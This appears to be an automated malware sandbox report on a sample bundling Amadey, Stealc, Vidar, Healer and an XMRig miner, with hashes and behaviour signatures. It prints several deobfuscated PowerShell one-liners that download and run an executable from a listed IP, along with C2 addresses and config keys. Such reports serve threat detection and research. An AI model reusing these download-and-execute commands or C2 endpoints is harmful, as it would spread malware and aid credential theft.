General

  • Target

    86fdd59d0050c514f9e4ba5d7431cb65faa7db15f4c9ecbbd0e33b39c78c874a

  • Size

    938KB

  • Sample

    250324-k3dtaaypt8

  • MD5

    278fa6cdc2189c33b3cf59614d6d9e7f

  • SHA1

    f382716bf5dc31ee6cdac0a1f9890a5164d0c18e

  • SHA256

    86fdd59d0050c514f9e4ba5d7431cb65faa7db15f4c9ecbbd0e33b39c78c874a

  • SHA512

    76cdd7a6b9e45ae8413f60e0369d045bfd1bfc3e879e0fac54c1303d312813380dc8907aeaf5e6525b47aa9c3768bac99c58fd1f7a2a38f5f193b5d55ebbf9c6

  • SSDEEP

    24576:eqDEvCTbMWu7rQYlBQcBiT6rprG8a0uu:eTvC/MTQYxsWR7a0u

Malware Config

Extracted

Language
ps1
Deobfuscated
1
$d = $env:temp + "J6ISIVLP2VAEPWVQIOEOXTBQ5FZKK7CH.EXE"
2
(new-object system.net.webclient).downloadfile("http://176.113.115.7/mine/random.exe", $d)
3
start-process $d
4
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
1
$d = $env:temp + "UEZGZYBGAIYFHQJUHWMTIMITTGVXAXCB.EXE"
2
(new-object system.net.webclient).downloadfile("http://176.113.115.7/mine/random.exe", $d)
3
start-process $d
4
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
1
$d = $env:temp + "\\483d2fa8a0d53818306efeb32d3.exe"
2
(new-object system.net.webclient).downloadfile("http://176.113.115.7/mine/random.exe", $d)
3
start-process $d
4
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain
1
006700e5a2ab05704bbb0c589b88924d

Extracted

Family

stealc

Botnet

trump

C2

http://45.93.20.28

Attributes
  • url_path

    /85a1cacf11314eb8.php

Extracted

Language
ps1
Deobfuscated
1
$d = $env:temp + "II4S27SZXSQRE4ZW0GRIEYVVTVDGGGK4.EXE"
2
(new-object system.net.webclient).downloadfile("http://176.113.115.7/mine/random.exe", $d)
3
start-process $d
4
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
1
$d = $env:temp + "QSYMROVXIDJNXYYOAL33DJHYUDXWM7HQ.EXE"
2
(new-object system.net.webclient).downloadfile("http://176.113.115.7/mine/random.exe", $d)
3
start-process $d
4
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Targets

    • Target

      86fdd59d0050c514f9e4ba5d7431cb65faa7db15f4c9ecbbd0e33b39c78c874a

    • Size

      938KB

    • MD5

      278fa6cdc2189c33b3cf59614d6d9e7f

    • SHA1

      f382716bf5dc31ee6cdac0a1f9890a5164d0c18e

    • SHA256

      86fdd59d0050c514f9e4ba5d7431cb65faa7db15f4c9ecbbd0e33b39c78c874a

    • SHA512

      76cdd7a6b9e45ae8413f60e0369d045bfd1bfc3e879e0fac54c1303d312813380dc8907aeaf5e6525b47aa9c3768bac99c58fd1f7a2a38f5f193b5d55ebbf9c6

    • SSDEEP

      24576:eqDEvCTbMWu7rQYlBQcBiT6rprG8a0uu:eTvC/MTQYxsWR7a0u

    • Amadey

      Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    • Amadey family

    • Detect Vidar Stealer

    • Detects Healer an antivirus disabler dropper

    • GCleaner

      GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    • Gcleaner family

    • Healer

      Healer an antivirus disabler dropper.

    • Healer family

    • Modifies Windows Defender DisableAntiSpyware settings

    • Modifies Windows Defender Real-time Protection settings

    • Modifies Windows Defender TamperProtection settings

    • Modifies Windows Defender notification settings

    • Modifies security service

    • Stealc

      Stealc is an infostealer written in C++.

    • Stealc family

    • Vidar

      Vidar is an infostealer based on Arkei stealer.

    • Vidar family

    • XMRig Miner payload

    • Xmrig family

    • xmrig

      XMRig is a high performance, open source, cross platform CPU/GPU miner.

    • Identifies VirtualBox via ACPI registry values (likely anti-VM)

    • Blocklisted process makes network request

    • Command and Scripting Interpreter: PowerShell

      Using powershell.exe command.

    • Command and Scripting Interpreter: PowerShell

      Run Powershell and hide display window.

    • Creates new service(s)

    • Downloads MZ/PE file

    • Possible privilege escalation attempt

    • Stops running service(s)

    • Uses browser remote debugging

      Can be used control the browser and steal sensitive information such as credentials and session cookies.

    • Checks BIOS information in registry

      BIOS information is often read in order to detect sandboxing environments.

    • Checks computer location settings

      Looks up country code configured in the registry, likely geofence.

    • Executes dropped EXE

    • Identifies Wine through registry keys

      Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    • Loads dropped DLL

    • Modifies file permissions

    • Reads user/profile data of local email clients

      Email clients store some user data on disk where infostealers will often target it.

    • Reads user/profile data of web browsers

      Infostealers often target stored browser data, which can include saved credentials etc.

    • Windows security modification

    • Adds Run key to start application

    • Checks installed software on the system

      Looks up Uninstall key entries in the registry to enumerate software on the system.

    • Legitimate hosting services abused for malware hosting/C2

    • AutoIT Executable

      AutoIT scripts compiled to PE executables.

    • Enumerates processes with tasklist

    • Suspicious use of NtSetInformationThreadHideFromDebugger

MITRE ATT&CK Enterprise v15

Tasks

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